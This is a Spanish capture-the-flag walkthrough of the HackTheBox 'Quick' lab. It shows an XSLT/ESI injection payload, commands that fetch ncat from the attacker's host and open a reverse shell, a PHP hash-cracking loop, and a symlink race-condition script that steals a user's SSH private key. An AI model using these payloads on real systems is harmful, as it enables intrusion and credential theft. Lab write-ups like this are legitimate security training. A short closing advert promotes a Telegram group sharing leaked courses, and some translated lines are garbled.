HackTheBox. Tutorial rápido. QUIC HTTP / 3, inyección XSLT, condición de carrera



Sigo publicando soluciones enviadas a la finalización de máquinas desde el sitio HackTheBox .



En este artículo nos ocupamos de la conexión QUIC HTTP / 3, conseguimos RCE gracias a la inyección XSLT y usamos la técnica Race Condition para conseguir la clave privada del usuario.



La conexión al laboratorio es vía VPN. Se recomienda no conectarse desde una computadora de trabajo o desde un host donde haya datos importantes para usted, ya que se encuentra en una red privada con personas que saben algo sobre seguridad de la información.



Información organizacional
, , Telegram . , , .



. , - , .



Recon



Esta máquina tiene una dirección IP de 10.10.10.186, que agrego a / etc / hosts.



10.10.10.186 	quick.htb


El primer paso es escanear los puertos abiertos. Dado que se necesita mucho tiempo para escanear todos los puertos con nmap, primero lo haré usando masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a 500 paquetes por segundo.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.186       --rate=500






Ahora, para obtener información más detallada sobre los servicios que se ejecutan en los puertos, ejecute un escaneo con la opción -A.



nmap -A quick.htb -p9001,22






Entonces tenemos dos servicios: SSH y el servidor web Apache. Veamos lo que ofrece la web.







Hay un enlace a un portal que ejecuta HTTPS, pero el puerto está cerrado. Agregue este DNS a / etc / hosts.



10.10.10.186 portal.quick.htb



¡Pero el puerto 443 está cerrado! También encontramos una lista interesante en el sitio.







Analicemos directorios con gobuster. En los parámetros, especifique el número de flujos 128 (-t), URL (-u), diccionario (-w), extensiones que nos interesan (-x) y los códigos de respuesta del servidor que necesitamos (-s).



gobuster dir -t 128 -u http://quick.htb:9001/  -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html --timeout 60s -s 200,204,301,302,307,401






Y encontramos páginas interesantes, pero todas requieren autorización. Después de dar vueltas por este sitio, surgió una pregunta. ¿Por qué necesito un enlace al portal si el puerto correspondiente del servidor está cerrado? Luego, analizaremos este puerto más a fondo nuevamente.



nmap -p443 -A quick.htb






sudo nmap -p443 -A -sU quick.htb






¡Y este puerto está abierto para UDP!



Punto de entrada



Buscando en Google, encontramos un artículo que describe la tecnología QUIC (similar al nombre del automóvil).







Además, al leer sobre este protocolo, nos enteramos de que se ha agregado a Chrome la capacidad de trabajar con este protocolo.







Pero no puede conectarse utilizando el método especificado. Entonces recuerda que las conexiones están filtradas y ve a este artículo .







Instalemos como se describe en el artículo:



sudo apt install rustc cargo
git clone --recursive https://github.com/cloudflare/quiche
cd quiche
cargo build --examples






Todo se ha ensamblado con éxito, ahora ejecutaremos una solicitud a nuestro sitio y obtendremos una respuesta.



RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/






Para mayor comodidad, puede guardar la salida en un archivo HTML y abrir el documento en un navegador, pero ya estoy acostumbrado. Vemos un enlace a una página con documentos, así que vamos a consultarlo.



RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/index.php?view=docs






Y vemos dos documentos. Descárgalos.



RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/docs/QuickStart.pdf > QuickStart.pdf
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/docs/Connectivity.pdf > Connectivity.pdf


Y en Connectivity.pdf dice con qué contraseña podemos iniciar sesión, solo necesitamos usar algún tipo de correo electrónico como nombre de usuario.







Recopilemos información ... Ya se presentó la lista de clientes, pero también podemos encontrar empleados.







Creemos una lista de correos electrónicos. Entonces, Tim se refiere a QConsulting desde el Reino Unido, entonces su correo electrónico probablemente sea tim@qconsulting.co.uk. Hagamos uno para todos los nombres. Y después de intentar iniciar sesión con ellos, nos dirigimos con éxito como elisa@wink.co.uk.







USUARIO



Después de mirar un poco alrededor, noté que el complemento wappalyzer no funciona. Echemos un vistazo a las tecnologías utilizadas con whatweb.



whatweb http://quick.htb:9001/home.php






Y vemos el título X-Powered-By: Esigate . Busquemos exploits.







Entonces la inyección XSLT puede resultar con RCE. Aprendimos de gobuster que también hay páginas search.php y ticket.php. Si te vuelves a buscar. Entonces se nos dirá que no hay una cadena de búsqueda.







Entonces pasemos la búsqueda de parámetros.







Y cuando busca "2", hay un resultado.







Pero en la página ticket.php, puede crear un ticket.











Y obtenemos el registro correspondiente que se puede encontrar. La explotación de la vulnerabilidad está bien ilustrada aquí . Según el artículo, para obtener RCE, debe enviar un enlace al archivo XSL, que tendrá el siguiente contenido:



<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[!!!RCE!!!]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>


Donde CDATA [] contendrá el comando que se está ejecutando. Debemos enviar la inclusión de estos archivos como mensaje.



<esi:include+src="FILE.xml"+stylesheet="FILE.xsl"></esi:include>


Luego inicie el oyente en la máquina local.



nc -lvp 4321


Y ahora crearemos tickets y nos referiremos a ellos. Dado que los caracteres “>” y “<” se escaparán, haremos tres consultas. Descargaremos ncat, le daremos permiso de ejecución y nos conectaremos. A continuación se muestran los valores de CDATA [] para tres archivos:



1.xsl: wget http://10.10.14.191/ncat
2.xsl: chmod +x ncat
3.xsl: ./ncat 10.10.14.191 4321 -e /bin/sh


Y ejecutaremos 6 solicitudes (la primera es el contenido del mensaje, la segunda es la solicitud del ticket).



<esi:include+src="http://10.10.14.191/1.xml"+stylesheet="http://10.10.14.191/1.xsl"></esi:include>






<esi:include+src="http://10.10.14.191/2.xml"+stylesheet="http://10.10.14.191/2.xsl"></esi:include>






<esi:include+src="http://10.10.14.191/3.xml"+stylesheet="http://10.10.14.191/3.xsl"></esi:include>






Y vemos la conexión.











USUARIO 2



Para mayor comodidad, creemos y registremos una clave SSH.











Ahora puedes conectarte usando tu clave privada. Recordemos el archivo db.php que se encuentra en los sitios, que debe contener las credenciales para conectarse a la base de datos. Vamos a ver.







Conectemos con las credenciales recibidas.



mysql -h localhost -u db_adm -p


Repasemos las bases de datos disponibles.







Seleccionemos la base de datos rápida.







Veamos la tabla en esta base de datos.







Finalmente, obtenemos los datos de la tabla de usuarios.







Obtenemos hashes, pero no funciona clasificar md5. Veamos el código donde se comparan los hashes.











Entonces, la contraseña ingresa primero en la función de cripta. Escribamos nuestro propio código que iterará sobre las contraseñas.



<?php 
$hash = 'c6c35ae1f3cb19438e0199cfa72a9d9d'; //'e626d51f8fbfd1124fdea88396c35d05';
$wordlist = fopen("./tools/rockyou.txt","r");
while(! feof($wordlist))  {
	$str = fgets($wordlist);
    $str = trim($str);
    echo "Find password: " . $str ."                        \r";
    $tmp_hash = md5(crypt($str,'fa'));
    if($hash == $tmp_hash){
        echo "Password Found: ". $str."\n";
        fclose($wordlist);
        exit(0);
    }
}
fclose($wordlist);
?>






Y obtenemos la contraseña. No puede cambiar la contraseña localmente y tampoco funciona para SSH, así que revisemos el resto del código fuente. Como puede ver en add_printer.php, se aceptan varios parámetros, incluida la dirección IP y el puerto. A continuación, se realiza una conexión para probar la conexión.







El archivo job.php es mucho más interesante.







Pero es imposible iniciar sesión en el servidor, ya que no está disponible. Echemos un vistazo a la configuración del servidor web. Por lo tanto, se crea el archivo y luego se transfiere al host y al puerto especificados al crear la impresora. Pero gracias al retardo del sleep (0.5) y al hecho de que los permisos del archivo creado son 777, podemos cambiarlo antes de enviarlo, mientras tenemos todos los derechos para este directorio.







Por lo tanto, puede escribir un script que vincule este archivo con la clave privada del usuario.



cd /var/www/jobs;
while true;
do
        for file in $(ls .);
        do
                rm -rf $file;
                ln -s /home/srvadm/.ssh/id_rsa $file;
        done
done


Echemos un vistazo a la configuración del servidor web.







Por lo tanto, este sitio se ejecuta en nombre de srvadm y solo se puede acceder a él a través de localhost. Reenvíemos el puerto y agreguemos la entrada adecuada a / etc / hosts.



127.0.0.1 printerv2.quick.htb



sudo ssh -i sam -L 80:127.0.0.1:80 sam@quick.htb


Ahora vayamos al sitio.







Y pasemos a agregar una impresora.







Después de agregar la impresora, debe activarla.







Ahora ejecutemos nuestro script y escojamos imprimir.







Y veremos la conexión al oyente y la clave SSH del usuario.











RAÍZ



Y en el directorio de inicio encontramos el directorio .cache.







Y encontramos el archivo de configuración de la impresora.







Y en la configuración encontramos la cadena de conexión a la impresora:



https://username:password@ip/printer







De donde obtenemos la contraseña que podemos usar para conectarnos vía SSH.







Puedes unirte a nosotros en Telegram . Allí puede encontrar materiales interesantes, cursos filtrados y software. Reunamos una comunidad, en la que habrá personas con experiencia en muchas áreas de TI, entonces siempre podremos ayudarnos unos a otros en cualquier tema de TI y seguridad de la información.



All Articles